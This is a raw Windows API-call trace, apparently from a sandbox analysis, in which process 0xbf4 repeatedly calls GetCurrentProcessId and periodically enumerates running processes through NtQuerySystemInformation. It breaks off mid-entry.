[0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.967] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.972] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.973] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.974] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.975] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0250.976] GetCurrentProcessId () returned 0xbf4 [0251.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.748] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.749] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.750] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0251.751] GetCurrentProcessId () returned 0xbf4 [0252.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.356] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.357] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.358] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0252.359] GetCurrentProcessId () returned 0xbf4 [0253.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.063] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.064] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.065] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.066] GetCurrentProcessId () returned 0xbf4 [0253.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.590] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.591] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.592] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] 